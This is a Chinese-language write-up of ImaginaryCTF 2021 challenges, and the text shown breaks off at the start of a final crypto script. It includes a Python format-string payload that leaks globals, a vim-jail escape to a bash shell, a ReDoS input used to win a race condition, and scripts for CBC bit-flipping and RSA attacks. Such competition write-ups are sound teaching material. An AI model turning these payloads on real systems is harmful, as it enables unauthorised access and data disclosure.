ImaginaryCTF 2021 WriteUps

這次單獨參加了 ImaginaryCTF 2021,最後拿了第 10 名。整體難度不會到很難,不過有很多新奇有趣的題目。

* 的題目是賽後才解的

Misc

Imaginary

寫程式計算複數的一些運算而已,可以利用 python 本身就有的複數功能,很方便。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import remote
import ast
from operator import add, sub

io = remote("chal.imaginaryctf.org", 42015)
io.recvuntil(b"so watch out!)\n\n")

for i in range(300):
q = io.recvlineS().strip()
print(i, q)
if "import" in q:
io.sendlineafter(b"> ", "c8763")
io.recvuntil(b"Correct!\n")
continue
toks = q.split(" ")
nums = [ast.literal_eval(x.replace("i", "j")) for x in toks[::2]]
ops = [add] + [add if x == "+" else sub for x in toks[1::2]]
ans = 0
for i in range(len(ops)):
ans = ops[i](ans, nums[i])
sans = str(ans).replace("(", "").replace(")", "").replace("j", "i")
print(ans, sans)
io.sendlineafter(b"> ", sans)
io.recvuntil(b"Correct!\n")
io.interactive()

Spelling Test

題目給了一堆英文單字,其中有些是拼錯的,按照題敘把錯誤的字元接起來就是 flag 了。我用的是 autocorrect 去修正的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from autocorrect import Speller

spell = Speller(lang="en")

with open("words.txt") as f:
words = [x.strip() for x in f.readlines()]


def diff(a, b):
for x, y in zip(a, b):
if x != y:
return x


for w in words:
if w != spell(w):
print(diff(w, spell(w)), end="")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from autocorrect import Speller

spell = Speller(lang="en")

with open("words.txt") as f:
words = [x.strip() for x in f.readlines()]


def diff(a, b):
for x, y in zip(a, b):
if x != y:
return x


for w in words:
if w != spell(w):
print(diff(w, spell(w)), end="")

Formatting

題目是 remote 有個 python 程式,它會讀取你的輸入字串後用 .format(a=something) 再把 response 傳回來。flag 是放在 global variable 的 flag 上面。

解法就是用 python format string 去得到 global variable 而已,網路上有許多文章能查到相關資訊。

1
{a.__init__.__globals__[flag]}

Prisoner's Dilemma

題目可以 ssh 到一個主機上,一打開的畫面就是 vim,裡面的內容是:

1
#!/usr/bin/env -S vim -u /dev/null +'set nocompatible' +'set directory=/tmp backupdir=/tmp' +'noremap : <nop>' +'noremap Q <nop>' +'noremap ! <nop>' +'inoremap quit <Esc>:qa!<cr>'

測試了一下可以知道它把 :Q! 在 normal mode 擋掉了,然後在 insert mode 輸入 quit 可以離開。不過我們的目標是要得到 shell,上網查一下關於 vim jail 的題目可以發現 vim 中能把 cursor 移動到某個 word 上面,按下 Shift+k 就等價於 man [word] 的指令,可以打開 pager (如 less) 所以也能簡單的拿到 shell。

只是這題實際上這麼做的時候會看到:

1
2
3
4
5
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, including manpages, you can run the 'unminimize'
command. You will still need to ensure the 'man-db' package is installed.

這個是來自 ubuntu minimal 的問題,裡面預設沒有 man-db

我後來的繞法是去翻 vim 的說明找到了這頁,裡面能看到有個東西叫做 command line window,裡面可以檢視 :/? 三個的 history,也能在裡面用 insert mode 輸入東西後執行。進入的方式分別是用 q:q/q?,所以這題就輸入 q: 之後用 i 進 insert mode,然後輸入 !bash 之後 enter 就有 shell 了。

另一個理論上可以的做法是靠 gf,它可以讓 vim 直接打開 cursor 上面的 word 的檔案,如果是還沒儲存的狀態的時候可以用 Ctrl+wCtrl+f 在另一個 window 打開檔案,如果 vim 有 netrw 的時候可以直接 open directory 列出檔案列表之後再打開檔案,問題是 remote 沒有 netrw...

後來看到別人說上面那個方法其實不用 netrw 也是可以的,在輸入 / 之後用 Ctrl+xCtrl+f 就會自動 path completion,所以就可以自動 list directory。

Puzzle 2

題目有個 Unity 遊戲,flag 放在裡面某個被鎖住進不去的房間。

我用的方法是用 dnSpy 把 Unity 遊戲的 Assembly-CSharp.dll 打開,然後把裡面 PlayerControllerMove() 改掉。它原本是偵測 key 然後把 vector 加到 velocity 上面,我把它改成把 vector 加到 position 之後就可以穿牆了,修改完之後 Save 打開遊戲穿牆到 flag 房間中就成功了。

Mazed

題目有個四維 10x10x10x10 的迷宮要你走到終點,解法就是直接暴力 dfs 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
from random import choice
from copy import deepcopy
from pwn import *


class Maze:
def __init__(self, dim, size):
self.dim = dim
self.size = size
self.maze = "#"
self.loc = tuple([0] * dim)
for i in range(dim):
self.maze = [deepcopy(self.maze) for _ in range(size)]
self.gen()

def __str__(self):
if type(self.maze[0]) == str:
return "".join(self.maze) + "\n"
ret = ""
for i in self.maze:
temp = deepcopy(self)
temp.dim -= 1
temp.maze = i
ret += str(temp)
ret += "\n"
return ret

@staticmethod
def fromstr(s):
dim = 0
for i in s[-max(len(s), 50) :][::-1]:
if i == "\n":
dim += 1
else:
break
size = 0
for i in s[: max(len(s), 50) :]:
if i == "\n":
break
size += 1

ret = Maze(2, 2)
ret.maze = Maze.fromstrhelp(s, dim, size)
ret.dim = dim
ret.size = size
ret.loc = tuple([0] * dim)
return ret

@staticmethod
def fromstrhelp(s, dim, size):
s = s.strip()
if dim == 1:
return list(s)
return [
Maze.fromstrhelp(i + "\n" * (dim - 1), dim - 1, size)
for i in s.split("\n" * (dim - 1))
]

def get(self, *pt):
ret = self.maze
for idx in pt:
ret = ret[idx]
return ret

def set(self, *pt, **kwargs):
temp = self.maze
for idx in pt[:-1]:
temp = temp[idx]
temp[pt[-1]] = kwargs["val"]

def check(self, *pt):
for i in pt:
if i >= self.size or i < 0:
return False
return True

def adj(self, *pt):
ret = set()
for i in range(len(pt)):
newpt = [i for i in pt]
newpt[i] += 1
if self.check(*newpt):
ret = ret | {tuple(newpt)}
newpt[i] -= 2
if self.check(*newpt):
ret = ret | {tuple(newpt)}
return ret

def neighbors(self, *pt, typ=None):
ret = set()
for pt in self.adj(*pt):
if typ is None or self.get(*pt) in typ:
ret = ret | {pt}
return ret

def gen(self):
self.set(*self.loc, val=".")
walls = self.adj(*self.loc)

while len(walls) > 0:
rand = choice(list(walls))
nbhd = self.neighbors(*rand, typ=".")
if len(nbhd) == 1:
self.set(*rand, val=".")
walls = walls | self.neighbors(*rand, typ="#")
walls = walls - {rand}
self.set(*([0] * self.dim), val="@")

self.set(*([self.size - 1] * self.dim), val="F")
for i in self.neighbors(*([self.size - 1] * self.dim)):
self.set(*i, val=".")

def move(self, s):
for c in s:
myloc = list(self.loc)
moveidx = ord(c.lower()) - ord("a")
myloc[moveidx] += -1 + 2 * (c < "a")
if self.get(*myloc) == ".":
self.set(*self.loc, val=".")
self.set(*myloc, val="@")
self.loc = tuple(myloc)
elif self.get(*myloc) == "F":
print("Flag:")
print(open("flag.txt").read())
exit(0)


def solve(maze, max_depth=50):
vis = set()
hist = [None] * max_depth

def dfs(pos, depth=0):
if depth >= max_depth:
return
if maze.get(*pos) == "F":
return "".join(hist[:depth])
vis.add(pos)
for i in range(maze.dim):
npos = list(pos)
npos[i] += 1
npos = tuple(npos)
if (
all(0 <= x < maze.size for x in npos)
and maze.get(*npos) != "#"
and npos not in vis
):
hist[depth] = chr(ord("A") + i)
r = dfs(npos, depth + 1)
if r:
return r
npos = list(pos)
npos[i] -= 1
npos = tuple(npos)
if (
all(0 <= x < maze.size for x in npos)
and maze.get(*npos) != "#"
and npos not in vis
):
hist[depth] = chr(ord("a") + i)
r = dfs(npos, depth + 1)
if r:
return r
vis.remove(pos)

return dfs(maze.loc)


# io = process(["python", "maze.py"])
io = remote("chal.imaginaryctf.org", 42017)
io.recvuntil(b"This is your maze:\n")
s = io.recvuntilS(b"====")[:-4]
print("maze received")
maze = Maze(4, 10)
maze.maze = Maze.fromstrhelp(s, 4, 10)
io.sendlineafter(b"Enter your move: ", solve(maze))
print(io.recvallS())

Off To The Races!

整個題目的程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python3

import re
import time
from random import choice
from multiprocessing import Process, Value

balance = 0
bets = {}

rx = re.compile(r'ju(5)tn((([E3e])(v\4))+\4\5)+rl0\1\4')

def menu():
print("1) Place Bet")
print("2) Login as Admin")
print()
inp = input(">>> ")
if '1' in inp:
bet()
elif '2' in inp:
login()
else:
print("Invalid input!")

def flag():
if admin.value:
print("Admins aren't allowed to view the flag!")
return
if balance >= 100:
print(open("flag.txt").read())
exit(0)
else:
print("Insufficient balance!")

def bet():
global bets
name = input("What horse would you like to bet on? ")
val = input("How much would you like to bet? ")
if val.isdigit():
bets[name] = int(val)
else:
print("Invalid bet!")

def admin_menu():
print("1) Declare winner")
print("2) View balance")
print("3) Buy flag for $100")
print("4) Logout")
print()
inp = input(">>> ")
if '1' in inp:
declareWinner()
elif '2' in inp:
print("Balance:", balance)
elif '3' in inp:
flag()
elif '4' in inp:
login()
else:
print("Invalid input!")

def declareWinner():
global balance, bets
if len(bets) == 0:
print("No bets placed!")
return
winner = choice(list(bets))
print("%s is the big winner!"%winner)
for i in bets:
balance -= bets[i]*(-1+2*(winner==i))
bets = {}

def login():
pwd = input("Enter admin password (empty to logout): ")
if len(pwd) == 0:
print("Logging out...")
admin = 0
return
print("Validating...")
Process(None, checkPass, None, args=(pwd,)).start()
time.sleep(2)

def checkPass(pwd):
valid = rx.match(pwd)
if valid:
print("Login success!")
print("Redirecting...")
admin.value = 1
else:
print("Login failure!")
print("Redirecting...")
admin.value = 0

def main():
while True:
print()
print('='*80)
if admin.value:
admin_menu()
else:
menu()

if __name__ == '__main__':
admin = Value('i', 0)
main()

題目目標是要得到超過 100 元,然後在 admin.value 不是 truthy 的時候呼叫 flag 函數,但是 flag 函數又需要在 admin_menu 才能進去。

賺錢的部份很簡單,先以普通 user place 2 bet,金額分別是 10000000000,然後登入進 admin 之後 declare winner 就有一半的機率拿到錢,不過要怎麼呼叫 flag 函數才是關鍵。

根據題目名稱可以猜到是 race condition,裡面 login 裡面也有 time.sleep(2),看起來也是很可疑。一個想法是先進入 admin,然後在 logout 的時候輸入錯誤密碼並讓 checkPass 函數執行超過 2 秒,那麼 login 函數會先結束,然後因為 admin.value 還是 truthy 所以會進入 admin_menu,而 checkPass 結束之後就會把 admin.value 變成 0,這樣就能呼叫 flag 得到 flag 了。

要 delay checkPass 的關鍵在於那個 regex,它具有類似 (a+)+ 的格式,這個可以利用類似 aaaaaaaaaaaaaaaaaab 的輸入去 ReDoS,所以透過這個就能延遲了。

經過個人測試用下面這個可以讓 rx.match 在 remote 要花 3 秒左右才能完成:

1
ju5tnEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEarl05E

而正常能快速登入的密碼用這個即可:

1
ju5tnEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvErl05E

Crypto

Chicken Caesar Salad

Caesar cipher 應該沒什麼好說的。

Flip Flops

題目可以把訊息送過去 remote 會,只要訊息內沒有 gimmeflag 的話它就用 AES-CBC 把訊息加密送回來。只要能送過去一組密文解密後有包含 gimmeflag 就能拿 flag。

方法就如題目名稱所提示的,CBC Bit-flipping Attack 而已。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *


def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))


# io = process(["python", "7B4E-flop.py"])
io = remote("chal.imaginaryctf.org", 42011)
io.sendlineafter(b"> ", "1")
io.sendlineafter(b"Enter your plaintext (in hex): ", (b"a" * 32).hex())
data = bytes.fromhex(io.recvlineS().strip())
iv, ct = data[:16], data[16:]
x = xor(iv, b"a" * 16)
iv = xor(x, b"gimmeflag ")
data = iv + ct
io.sendlineafter(b"> ", "2")
io.sendlineafter(b"Enter ciphertext (in hex): ", data.hex())
io.interactive()

Rock Solid Algorithm

的 RSA,合理推測 flag 本身沒有加 padding,所以 不比 大太多,直接暴力試開五次根號即可。

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
from Crypto.Util.number import *

n = 18718668654839418101060350414897678724581774081742102287908765212690862231899547405582997157020093499506177632395430572542600019258424947803591395926472246347413986531437177801754324606200243710836609694453888894668656807471052095014376204102474311740080044776201105722801365112971807912406879483156845216746137339614577267869908065296042390812575960639865867729920434603853708907147465162697098688239587320232595412227310236678367
e = 5
c = 4061448515799106340420739691775850071489215699577921072934942485890519294380069123037340174441242842518682390853378784679825023237216051766738593812159344136064529711265570171627670665806072255545198689928996413238102114126558579154343844959868438278433954975590137693439216155482228025380904377837299357044104373966173149290333194304831238889245126840666444234215617022142380016275718234640045049962318290976661640301222078289152

for i in range(1000):
m, exact = gmpy2.iroot(c + i * n, 5)
if exact:
print(long_to_bytes(m))
break

Lines

這題用了 Diffie-Hellman 的 shared secret 用乘法的方法加密:

然後它提供了一組已知的明文與密文以及 flag 的密文,所以可以很簡單的用數學解得 flag。

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *

p = 82820875767540480278499859101602250644399117699549694231796720388646919033627
g = 2

c1 = 26128737736971786465707543446495988011066430691718096828312365072463804029545
c2 = 15673067813634207159976639166112349879086089811595176161282638541391245739514
msg = bytes_to_long(b":roocursion:")

flag = (c1 * pow(c2, -1, p) * msg) % p
print(long_to_bytes(flag))

New Technology

這題有提供了一個 public key 和 AES 加密的 flag,key 的部份是利用 public 的 euler phi 等等的值加總之後變成 private key,然後拿 private key 的值去 derive AES key。

雖然直接看看不出有什麼奇怪的地方,但是可以直接用一些代數軟體,例如 sage 本身的功能去模擬,可以發現它算出的 private key 正好是 public key 的平方,這大概是某些數論上的結果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

pub = 0x281AB467E16CDEDB97A298249BDD334F0CC7D54177ED0946C04EC26DA111C1FD7AFA78FCA045F81D89FE541F1D869B8EDD4209C898A529737B9380CE9B47133ED9E097BCF050178C4A1FF92F35410EE589CC62617B63632F6C7AA506BDC50A79624246A63E4139A04A51F666CC53E21B7D4B12DA7757FEB367D47110AF9BC707D92C9BE2F2E4A51EA219CD9AACC76950F992CED96BAB65BA654DED42AF5FC4FEC5330EBC29F377E733F1829B72F91E270C43E407D649D5CC1D38BE9A0020CFE5CC537C131887B5A07A214EAE2F0D9E684897590A637BD800FED6A61F6C034FE3A69D516D10A1E63AEE3F71E067497D0D7AC1EC771CFAE3CE89D82D69CD280622730E58B0427D193A5404F21F962E711D31C9A224E187031CF0E4BCDB341B65E999157FB55C7AAE0CFFED74B832A79259C18BF7B2DB57E500D36376767973EE350AF4FC004A7F4DCD325724A6994CA63687D3CFB688DEB20E4175A67969ED7D245C207257EAB7A71CC298532E72E73E446102E59A1A36DE09C386445DF171797E0D2DB39F4FC1FBA793D78EA92C6801B79EAEF2EBAAD54BD2A8106471ADC60BE708B9B0F4E824C25C414755FF56DACE29C067E29C11A8ADCC5F367E1C7D10310116EAB8D99DDB2AE524F56BF9436F59E581C6E22B4A80D2520893C57AAAFA0E6349347991F26B25B594BD47C5C0A69ED32C3FD0961F54586F3D91BF14D96D93D3F97C7A504BA8E3FE9E08316FE9F3D78500337A180120B5B375980EF19F57FF678A07B582EA3A113E2A0B14683FF3983153A2203CFFD39FC7673281F72DB700D
ct = bytes.fromhex(
"d2463ccc52075674effbad1b1ea5ae9a9c8106f141cff8fdec9b118ddddcfb3a1f036ed5f3bf0440c95828ebf1c584e4"
)
key = pub ** 2

cipher = AES.new(
hashlib.sha256(str(key).encode("utf-8")).digest(), AES.MODE_CBC, iv=b"\0" * 16
)
print(unpad(cipher.decrypt(ct), 16))

Primetime

這題用了一個自創(?)的方法弄出了一個加法循環群,然後在上面用 scalar multiplication 做了 Diffie-Hellman 之後把 flag 給加密了。

題目中的元素可以表示為: ,其中的 是第 個質數。

任意長度小於 16 的 bytes 可以直接 encode 成這個群中的元素。

元素的加法定義為直接把兩個相乘,也就是 ,然後再用一個特殊的方法去 reduce。

reduce 的方法是當 的時候將 ,然後乘 (當 的時候才需要乘)。

這個看似很複雜的元素可以簡單的以 來表達,因為 是質數所以可以簡單的找到 isomorphism 把 轉換到 。加法的地方也是很容易的可以轉換成 base 256 的進位問題。

scalar multiplication 的地方是把直接用連加的方法達成,而它還有個元素和元素的乘法是先把一個元素用特殊方法轉換成 scalar,直接 scalar multiplication 即可。

而題目本身提供了一個 generator ,和兩個公鑰 以及 ,而 shared secret 。加密的部分是先把 flag encode 為 ,然後 是加密過的 flag。

解法是要找到用有點暴力的方法去算 discrete log,細節直接看 code。然後再來是可以猜出 order 是 ,所以先把 轉換為 scalar 之後用類似 RSA 的方法把 解出來即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from itertools import islice
from math import gcd

ELEMENT_LEN = 16


def primes():
num = 2
while True:
prime = 1
for i in range(2, num):
if num % i == 0:
prime = 0
if prime:
yield num
num += 1


class Element:
def __init__(self, n):
self.n = Element.reduce(n)

def __str__(self):
return str(self.n)

def __add__(self, other):
return Element(self.n * other.n)

def __eq__(self, other):
return self.n == other.n

def __mul__(self, n):
if type(n) == int:
ret = Element(1)
for c in "{:0128b}".format(n):
ret += ret
if c == "1":
ret += self
return ret
if type(n) == Element:
ret = Element(1)
primelist = list(islice(primes(), ELEMENT_LEN))
for i, num in enumerate(primelist[::-1]):
cnt = 0
temp = n.n
while gcd(temp, num) > 1:
cnt += 1
temp //= num
for c in "{:08b}".format(cnt):
ret += ret
if c == "1":
ret += self
return ret

def factor(self):
primelist = list(islice(primes(), ELEMENT_LEN))
n = self.n
ret = []
for p in primelist:
e = 0
while n % p == 0:
e += 1
n //= p
ret.append(e)
return ret

@staticmethod
def encode(b):
assert len(b) <= ELEMENT_LEN
ret = 1
for i, num in enumerate(primes()):
if i >= len(b):
return Element(ret)
ret *= num ** b[i]

@staticmethod
def reduce(n):
if n == 0:
return 0
primelist = list(islice(primes(), ELEMENT_LEN))
for i, num in enumerate(primelist):
while n % (num ** 256) == 0:
n //= num ** 256
if num != primelist[-1]:
n *= primelist[i + 1]
return n


def div(b, x):
a = [(b[0] * pow(x, -1, 256)) % 256]
print("a", a)
rem = (a[-1] * x) // 256
for t in range(256):
if (t * x) % 256 == (b[1] - rem) % 256:
print(t)


def fastmul(a, x):
a = list(a)
for i in range(len(a)):
a[i] = a[i] * x
for i in range(len(a) - 1):
t = a[i] // 256
a[i] %= 256
a[i + 1] += t
a[-1] %= 256
return a


def common_prefix_len(a, b):
i = 0
for x, y in zip(a, b):
if x != y:
return i
i += 1
return i


def div(b, a):
x = (pow(a[0], -1, 256) * b[0]) % 256
for j in range(128):
mx = 0
mxi = 0
for i in range(256):
xx = x + 256 ** j * i
l = common_prefix_len(fastmul(a, xx), b)
if l > mx:
mx = l
mxi = i
x = x + 256 ** j * mxi
return x


gen = Element.encode(b"+h3_g3n3ra+0r_pt")
a = gen.factor()
b = (gen * (123456789123121416456101)).factor()
print(div(b, a))

apub = Element(
500357207949360011860695121815899154205449526010094454587979283923848585928632790645830299149453976090217245034593189992901761945331391001831072705847529750866803738700279912225965066678805507724715185506382939990799142229405455422041035178874211011751119398295299857806816386990092657837100900358347160719366783975929360339558498954820961285465620670002225659239889936599555456580359830295682062738334991554515900855548402512120620826749650756396521580270922365597641747429056073405053306940242427219752253635745528457603722008636075237147298943858617107939076277273399231985298341212601734800636370999484513623887390101127340743342876064866252125623244784047384124434094248088541685991462467253654297437402579588310999589250019828289348424957170149192160244201016103564578588147214864367737210883054758124265449650412379712901047384113980036061641986088569966224174765198474542155526830408621034708868718697636100198425645098483952048597971766147148562801195620760539216440235693381518250562984372199863885643755757214089633375219003612064713273736559152427459535130250092023420143477707286077709232094800239072803517436957478931071194581758588450886409637439466396963345804860757070798727515483494675801215036424531830745500453844192878776568008293800605196374630455749994012121524858660398046104081319756695361411583808985083359313858106135372136738671726749040433685890796455263432281216811093299277064687480718190942550814850814407562334926077877676598543907922236613521119009586779154611789987179126766615943929772599695669520979353761815721157999238946735681596011441649989258585110321624675217941201187909029596813349743091266836232134969764625366003476480256701372331765458959029575707117530532230865877414940866110631649448043296830423058310406934224218377145264611861381237149895001131889611829956995478830008145471859396864805534974592201372189664997613965274100537255280841341170249447407571114570047875217384488392158566315390952841556785484370880052264041078786170255986678011312984641313598302687184300188325196569072886923470341432247404566641268078569475653330045976812733466593716111751384324533020583788953027557237835067004513165882907985939149646381279609629318864389650921121923020213226228513603636456117420175850185142392993312209091757679786168841969441373117841632183687309590978239277773475240704285654614023321424952810616910104960766147996764630079269409179687500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)
bpub = Element(
16886140056354929427596567134326274485089560876286587124880756776977234171194975112435706147950799696726908760658379821703149986444584878143140068702252015934960869287878322047490841738237874007046175824327084819514960404309424024113231139223861581544723516192652636805273357007644252260334729236474638160005764882935578262087486745293103885797061462688773083837075673189527385494402886609308403934147632724023257349680752961803065635925869948563007304878787110064389481872192366584512937841048468261211375429258958036548757053991996868300235304332273530321070329379020853444464240627041844300407866738869823452918322784480833423513934929560513907874987813120398493556639406496655016703649326363315033712731233353178163811161488388839390738262151375611580388444190759888831710750624276059144292899974826212289291969860139700532775617760660718794818872911412098833789379882399598261500955720072887205985369118340511562424744684639569259883139517187974824181161950853887501387501187533776882087154686028474068751277305741248685427657830194130748307070414382936407812885971658094632673983740655241311628134690600772581373912071007373125831843767625012450700810049087602396672865730638377689910261970907167046870064759518544522056232795427162931983841754885841450494951705090997053611611069917900060383989748392235104217239203473575532102615155006722382194628347358754931623088568632887718111126185067797075616155294431574382263248465435551886356909040531366803040834139857334636132106628196713569727099358483467637513761623400457735977788527032015578721718162822785170003462615480682584982243958489401431342170655879609002009895863301679816403246730998946157219824974543751650675652958447410488528133202362655228903399639156272433490870994720909626670226251331877964832588817607911429113039240473499490028276618695486368021575737295277971954819472892265787971700525462969787279175719807716828606735008026486188322740499290581075721121149217204096567012568889510467546153859876198602143814772355379175058561482130360819063434290077131027968377991635072477044088229862441648707747330048000000000000000000
)
ct = Element(
4010240541516399645321195034562461743458717219622622476493704732090859438167824966510148664351969649209110773241667692984697276501182707040128953765431706761834670787505514727554018556734879304098746873934089421121324218982247512814291351924877223043671728378891265540580997799487407053766647917779316763623094334611762868712057093611941314165202770691822529980585632976853670674565411273511833281110362770513187167914301635551991652653407362535224460872087333793483316891646632494686376076558532105013390219039843977909552469638359056046774015515596827199558260021294063686136404100077341838007398597465059993890928975576168315884904951930525706619213592769136606240625593489533975645387142828210729867767278782119009331299561834682615683259310762241323090900813481384333313188349411738492701047351562906839027181345022408682546416298832221649815297100598520446510702177236903581781476059676126464154669551252010296436679203727260122943272621547188029138551212046664928456708684569207855966732611875672446792947108786585829210484574660392141694053085701648964856278540345796111300830486730030373529236112854444770251061943299296906500878069990248133167421042557041575470018986481268826219893272218420187883811123048819805445449064826589938738021139023893746912952527027222810299329863641696021085054087718325983196914452039601872746439052469287204179047225378529312836547478630121319644513116659936348718675908460300862292582892882083915587965880575007908913533392291894019388201088744671218326443475109837687802579916256424185706643145007052009351056263884426086245516495968072790560107840332325292785270761251889294074244311879282572271185728302777909531413313220715212939865522739184866268196705707066260280696302535249923384583209822803191861890646931401654221911423162123708562219923887711419797120582685051956135283939881134091672191052692914756132753539012305415879968591647612459785998064874621862898383730813805202557191218101598089805789828614247107472592605080809008373281661279063601135101044553043016070821365079615866754551254372262660601301298818637825194579280847712938995049673216656916509188770025210827227323668492245704588870179128479645964519746861500154978473782934668650516904535768949282799428827614911842356617493958178344117941689901663879465330029616060074179381566862194995633197690056062963968575373204151012941127649306394093994121093750000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)

akey = div(apub.factor(), gen.factor())
assert gen * akey == apub
print(akey)
s = bpub * akey

od = 256 ** 16

xxx = ""
primelist = list(islice(primes(), ELEMENT_LEN))
for i, num in enumerate(primelist[::-1]):
cnt = 0
temp = s.n
while gcd(temp, num) > 1:
cnt += 1
temp //= num
xxx += "{:08b}".format(cnt)
print(bytes((ct * pow(int(xxx, 2), -1, od)).factor()))

其實它還有個更簡單的作法是直接 map 到

Roll it back

這題用了一些很奇怪的 bit 運算把反覆的對 flag 做 bit 運算:

1
2
3
4
# T is a known constant
# l = flag.bit_length()
for _ in range(421337):
flag = (flag >> 1) | ((popcount(flag & T) & 1) << (l - 1))

一開始我看不出這到底是在做什麼,就直接用 z3 下去多花點時間就解掉了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from itertools import *
from functools import reduce
from gmpy2 import *
from z3 import *
from tqdm import tqdm
from Crypto.Util.number import *


def x(a, b):
return bytes(
islice((x ^ y for x, y in zip(cycle(a), cycle(b))), max(*map(len, [a, b])))
)


def t(x):
return sum((((x & 28) >> 4) & 1) << i for i, x in enumerate(x))


T = t(x(b"jctf{not_the_flag}", b"*-*")) | 1
l = 420


def popcount(b):
n = b.size()
bits = [Extract(i, i, b) for i in range(n)]
bvs = [Concat(BitVecVal(0, n - 1), b) for b in bits]
nb = reduce(lambda a, b: a + b, bvs)
return nb


def rev(x, n):
flag = BitVec("flag", l)
iflag = flag
sol = Solver()
for _ in range(n):
flag = LShR(flag, 1) | ((popcount(flag & T) & 1) << (l - 1))
sol.add(flag == x)
assert sol.check() == sat
m = sol.model()
return m[iflag].as_long()


flag = 2535320453775772016257932121117911974157173123778528757795027065121941155726429313911545470529920091870489045401698656195217643
for i in tqdm(range(421337 // 10)):
flag = rev(flag, 10)
for _ in range(7):
flag = rev(flag, 1)
print(flag)
print(long_to_bytes(flag)[::-1])

後來看到 flag 內容說 LFSR 之後才看懂那個運算,因為 popcount(flag & T) & 1 其實就是把 T 的那幾個 bit 做 xor,然後其他部分就是把 LFSR 的 state 向前推進而已。

用 sage 的解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from gmpy2 import *
from Crypto.Util.number import *

T = 136085
print(bin(T))
flag = 2535320453775772016257932121117911974157173123778528757795027065121941155726429313911545470529920091870489045401698656195217643
l = 420
fnext = (flag >> 1) | ((popcount(flag & T) & 1) << (l - 1))

P = PolynomialRing(GF(2), "x")
x = P.gen()
poly = sum([int(c) * x ^ i for i, c in enumerate(bin(T)[2:][::-1])]) + x ^ l
print(poly)
M = companion_matrix(poly, "bottom")
v = vector(map(int, f"{flag:0420b}"[::-1]))
assert M * v == vector(map(int, f"{fnext:0420b}"[::-1]))
flag = M ^ (-421337) * v
print(long_to_bytes(int("".join(map(str, flag[::-1])), 2))[::-1])

*ZKPoD

這題用 RSA 把 flag 加密,然後有個 oracle 可以讓你解密訊息之後用 Schnorr signature sign,而它的 nonce 是完全隨機所以沒辦法從這部分攻擊。

在比賽的時候我的想法是利用它的 只有 1024 bits 左右,看看有沒有辦法用 Lattice 解,不過怎麼試都是失敗的。

出題者的解法是利用 ,這樣可以利用 去判斷 的奇偶。接下來當 是偶數的時候,這樣可以知道 的 LSB,因為

知道 LSB 的時候就有個 RSA 的 oracle,這樣可以利用 LSB Oracle Attack 去二分搜 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import remote
from Crypto.Util.number import *
from sage.all import *

